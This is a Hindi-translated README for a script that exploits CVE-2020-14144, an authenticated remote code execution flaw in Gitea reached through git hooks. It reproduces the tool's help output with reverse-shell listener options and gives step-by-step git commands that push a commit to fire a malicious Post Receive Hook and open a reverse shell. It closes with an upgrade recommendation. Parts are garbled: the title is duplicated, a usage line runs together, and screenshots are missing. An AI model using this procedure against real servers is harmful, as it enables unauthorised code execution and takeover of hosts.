
CVE-2020-14144 का शोषण करने के लिए एक स्क्रिप्ट - GiTea प्रमाणित रिमोट कोड निष्पादन git हुक का उपयोग करते हुए
git हुक्स का उपयोग करके CVE-2020-14144 - GiTea प्रमाणित रिमोट कोड निष्पादन का शोषण करने के लिए एक स्क्रिप्ट
-f विकल्प के साथ इसे दूरस्थ रूप से निष्पादित करें$ ./CVE-2020-14144-GiTea-git-hooks-rce.py -h
_____ _ _______
/ ____(_)__ __| CVE-2020-14144
| | __ _ | | ___ __ _
| | |_ | | | |/ _ \/ _` | Authenticated Remote Code Execution
| |__| | | | | __/ (_| |
\_____|_| |_|\___|\__,_| GiTea versions >= 1.1.0 to <= 1.12.5
usage: CVE-2020-14144-GiTea-git-hooks-rce.py [-h] [-v] -t TARGET -u USERNAME -p PASSWORD [-I REV_IP] [-P REV_PORT] [-f PAYLOAD_FILE]
CVE-2020-14144 - GiTea authenticated Remote Code Execution using git hooks
optional arguments:
-h, --help show this help message and exit
-v, --verbose Increase verbosity.
-t TARGET, --target TARGET
Target host (http://..., https://... or domain name)
-u USERNAME, --username USERNAME
GiTea username
-p PASSWORD, --password PASSWORD
GiTea password
-I REV_IP, --rev-ip REV_IP
Reverse shell listener IP
-P REV_PORT, --rev-port REV_PORT
Reverse shell listener port
-f PAYLOAD_FILE, --payload-file PAYLOAD_FILE
Path to shell script payload to use.
इस कमजोरी/सुविधा का सफलतापूर्वक शोषण करने के लिए, लक्ष्य सर्वर GiTea संस्करण 1.1.0 और संस्करण 1.13 के बीच होना चाहिए, और आपको "गिट हुक्स बना सकते हैं" अधिकार सक्रिय वाला एक वैध खाता (उपयोगकर्ता नाम, पासवर्ड) चाहिए।

सिस्टम प्रशासन के दृष्टिकोण से, शोषण से पहले gitea प्रक्रिया इस प्रकार दिखती है:

सबसे पहले, हमें अपने खाते का उपयोग करके GiTea वेब इंटरफ़ेस पर एक रिपॉजिटरी बनानी होगी। हम रिपॉजिटरी बनाते हैं और Settings -> Git Hooks -> Post Receive Hook में जाते हैं। इस हुक में आप एक शेल स्क्रिप्ट लिख सकते हैं जो नई कमिट प्राप्त करने के बाद निष्पादित की जाएगी।

अब हम अपनी हमलावर मशीन पर एक अस्थायी निर्देशिका बनाएंगे, और दूरस्थ रिपॉजिटरी में push करेंगे। यह Post Receive Hook स्क्रिप्ट को ट्रिगर करेगा।
touch README.md
git init
git add README.md
git commit -m "Initial commit"
git remote add origin https://vulnserver/testuser/vuln.git
git push -u origin master
जब हम कमिट को दूरस्थ रिपॉजिटरी में push कर देते हैं, तो यह Post Receive Hook स्क्रिप्ट को ट्रिगर करेगा और हमारे पास एक रिवर्स शेल होगा !

शोषण के बाद, एक सिस्टम प्रशासक GiTea की चाइल्ड प्रक्रियाओं में हमारा अलग किया गया रिवर्स शेल आसानी से देख सकता है:

कम से कम संस्करण 1.13.0 में अपडेट करने की अनुशंसा की जाती है।
Pull requests का स्वागत है। यदि आप अन्य सुविधाएँ जोड़ना चाहते हैं तो बेझिझक एक issue खोलें।